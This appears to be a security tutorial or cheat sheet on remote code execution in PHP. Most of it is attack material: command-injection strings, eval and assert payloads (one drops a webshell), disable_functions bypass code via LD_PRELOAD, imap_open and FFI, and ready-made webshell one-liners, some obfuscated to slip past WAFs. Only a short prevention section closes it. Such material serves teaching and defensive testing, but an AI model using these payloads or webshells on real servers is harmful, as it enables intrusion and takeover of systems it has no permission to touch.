Remote Code Execution via PHP Functions
Remote Code Execution via PHP Functions
Command Execution Functions
PHP provides multiple functions that directly execute OS commands. Any user-controlled input reaching these functions without proper sanitization results in OS command injection.
// All these execute OS commands and are vulnerable if input is unsanitized:
system("ping " . $_GET['host']); // prints output
exec("nslookup " . $_POST['domain']); // returns last line
passthru("traceroute " . $_GET['ip']); // raw binary output
shell_exec("curl " . $_GET['url']); // returns all output as string
`cat /etc/passwd`; // backtick operator
// Exploitation:
?host=127.0.0.1; id // command chaining with ;
?host=127.0.0.1 | id // piping
?host=127.0.0.1 && id // AND
?host=127.0.0.1 `id` // subshell via backtick
?host=$(id) // subshell via $()
?host=127.0.0.1%0aid // newline injection
Code Evaluation — eval()
eval() executes a string as PHP code. It is the most direct path to RCE when user input is passed to it.
// VULNERABLE
eval($_POST['code']);
eval("return " . $_GET['calc'] . ";");
// Payload: code=system('id');
// Payload: code=phpinfo();
// Payload: code=file_put_contents('/var/www/html/shell.php','<?php system($_GET[c]);?>');
assert() as a Code Executor
In PHP 5 and early PHP 7, assert() evaluates its argument as PHP code if it's a string. This is a common bypass for WAFs filtering eval().
// VULNERABLE (PHP < 8)
assert($_POST['test']);
assert("strlen('" . $_GET['input'] . "') > 0");
// Bypass via string:
?test=system('id')
?input=') system('id'); //
preg_replace() with /e Modifier (PHP < 7.0)
The /e modifier in preg_replace() caused the replacement to be evaluated as PHP code. This was removed in PHP 7.0 but still appears in legacy code.
// VULNERABLE — PHP 5 only
preg_replace('/' . $_GET['pattern'] . '/e', $_GET['replace'], $subject);
// Payload: pattern=.* & replace=system('id')
// The replacement is eval'd → RCE
Variable Functions & call_user_func()
// Variable functions — if function name comes from user
$func = $_GET['action'];
$func($_GET['arg']); // e.g. ?action=system&arg=id
// call_user_func — same risk
call_user_func($_GET['func'], $_GET['arg']);
call_user_func_array($_POST['func'], $_POST['args']);
// create_function() — deprecated, acts like eval
$f = create_function('', $_POST['code']);
$f();
disable_functions Bypass
Many servers set disable_functions in php.ini to block dangerous functions. Common bypass techniques:
// Check what's disabled:
print_r(explode(',', ini_get('disable_functions')));
// Bypass techniques:
// 1. LD_PRELOAD trick (via mail() if not disabled)
putenv("LD_PRELOAD=/tmp/exploit.so");
mail("a@b.com", "", "", "");
// 2. imap_open() — execute commands via shell metacharacters
imap_open("{127.0.0.1:143/imap}INBOX", "x -oProxyCommand=id", "");
// 3. pcntl_exec() — if enabled
pcntl_exec("/bin/bash", ["-c", "id"]);
// 4. FFI (PHP 8+ foreign function interface)
$ffi = FFI::cdef("int system(const char *command);", "libc.so.6");
$ffi->system("id > /tmp/out");
// Automate with FuckFastcgi / Chankro tools
PHP Webshells — One-liners to Know
<?php system($_GET['c']); ?>
<?php echo shell_exec($_REQUEST['cmd']); ?>
<?php @eval($_POST['x']); ?>
<?php passthru(base64_decode($_GET['c'])); ?>
// Obfuscated (bypass simple WAFs)
<?php $f='sys'.'tem'; $f($_GET['c']); ?>
<?php call_user_func(base64_decode('c3lzdGVt'), $_GET['c']); ?>
Prevention
// php.ini hardening
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,eval,assert
open_basedir = /var/www/html
// Never pass user input to dangerous functions
// If you need to run commands, use escapeshellarg():
$host = escapeshellarg($_GET['host']);
system("ping -c 1 $host"); // much safer but ideally avoid entirely
// Prefer dedicated libraries over shell commands
// e.g. use GD for image processing, not exec("convert ...")
Key Takeaway: The only truly safe approach is to never pass user input to code/command execution functions. If system interaction is required, use escapeshellarg() and escapeshellcmd() as a minimum, and restrict via disable_functions and open_basedir.